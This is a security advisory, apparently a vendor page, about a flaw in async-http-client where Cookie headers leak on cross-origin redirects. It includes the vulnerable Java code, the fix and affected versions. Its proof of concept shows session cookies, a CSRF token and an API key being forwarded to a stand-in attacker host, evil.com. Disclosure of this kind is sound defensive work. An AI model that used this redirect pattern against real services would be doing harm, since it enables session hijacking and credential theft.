GHSA-fmxf-pm6p-7xgm is a high-severity (CVSS 7.4) Information Exposure vulnerability in org.asynchttpclient:async-http-client. O3 Security confirms whether GHSA-fmxf-pm6p-7xgm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
async-http-client: Cookie header not stripped on cross-origin redirect
Real-World Exposure
org.asynchttpclient:async-http-client☕org.asynchttpclient:async-http-clientReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
async-http-client leaks Cookie headers to cross-origin redirect targets. When following a redirect across a security boundary (different origin, or HTTPS→HTTP downgrade), the propagatedHeaders() method in Redirect30xInterceptor.java strips Authorization and Proxy-Authorization headers but does not strip Cookie, so session cookies and other sensitive cookie values are forwarded to the redirect target — which may be attacker-controlled.
Details
The vulnerability is in client/src/main/java/org/asynchttpclient/netty/handler/intercept/Redirect30xInterceptor.java.
The caller computes stripAuth on each redirect:
boolean sameBase = request.getUri().isSameBase(newUri);
boolean stripAuth = !sameBase || schemeDowngrade || stripAuthorizationOnRedirect;
// ...
requestBuilder.setHeaders(propagatedHeaders(request, realm, keepBody, stripAuth));
stripAuth is true whenever the redirect crosses an origin, downgrades the scheme, or the caller opted in via AsyncHttpClientConfig#isStripAuthorizationOnRedirect().
In the vulnerable version, propagatedHeaders() only removes Authorization and Proxy-Authorization in that branch — Cookie is left untouched:
private static HttpHeaders propagatedHeaders(Request request, Realm realm, boolean keepBody, boolean stripAuthorization) {
HttpHeaders headers = request.getHeaders()
.remove(HOST)
.remove(CONTENT_LENGTH);
if (!keepBody) {
headers.remove(CONTENT_TYPE);
}
if (stripAuthorization || (realm != null && (realm.getScheme() == AuthScheme.NTLM
|| realm.getScheme() == AuthScheme.SCRAM_SHA_256))) {
headers.remove(AUTHORIZATION)
.remove(PROXY_AUTHORIZATION);
// BUG: COOKIE is not removed here, so cookies leak across the security boundary.
}
return headers;
}
The companion test class RedirectCredentialSecurityTest covers Authorization / Proxy-Authorization stripping on cross-origin redirects and scheme downgrades, but has no coverage for Cookie, which is why the regression went unnoticed.
Proof of concept
import org.asynchttpclient.*;
AsyncHttpClient client = asyncHttpClient();
// trusted-api.com responds 302 -> https://evil.com
Request request = new RequestBuilder("GET")
.setUrl("https://trusted-api.com/endpoint")
.setHeader("Cookie", "session=abc123; csrf=xyz789; api_key=secret")
.setHeader("Authorization", "Bearer token123")
.build();
client.executeRequest(request).get();
// Request seen by evil.com after the redirect:
// Authorization: <stripped>
// Cookie: session=abc123; csrf=xyz789; api_key=secret <-- leaked
Impact
- Session hijacking — leaked session cookies allow impersonation.
- CSRF token theft — CSRF tokens carried in cookies are disclosed.
- API key theft — API keys stored in cookies are disclosed.
- Privacy — tracking identifiers leak to third-party origins.
Realistic attack paths:
- Open-redirect in a trusted API endpoint.
- Compromised CDN or API gateway injecting redirects.
- MITM on a plaintext hop in the redirect chain.
Fix
Add COOKIE to the headers removed alongside AUTHORIZATION / PROXY_AUTHORIZATION on the security-boundary branch:
if (stripAuthorization) {
headers.remove(AUTHORIZATION)
.remove(PROXY_AUTHORIZATION)
.remove(COOKIE);
} else if (realm != null && (realm.getScheme() == AuthScheme.NTLM
|| realm.getScheme() == AuthScheme.SCRAM_SHA_256)) {
headers.remove(AUTHORIZATION)
.remove(PROXY_AUTHORIZATION);
}
Note that the URI-scoped CookieStore will re-add any cookies that legitimately match the new target after propagatedHeaders returns, so legitimate cross-origin sessions tracked by the client are not broken.
Fixed in 3.0.10 and 2.15.0 by commit 3b0e3e9e.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.asynchttpclient:async-http-client | ≥ 3.0.0.Beta1&&< 3.0.10 | 3.0.10 |
| ☕Maven | org.asynchttpclient:async-http-client | ≥ 2.0.0&&< 2.15.0 | 2.15.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.asynchttpclient:async-http-client. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.asynchttpclient:async-http-client to 3.0.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fmxf-pm6p-7xgm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fmxf-pm6p-7xgm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fmxf-pm6p-7xgm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fmxf-pm6p-7xgm in your dependencies?
O3 detects GHSA-fmxf-pm6p-7xgm across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.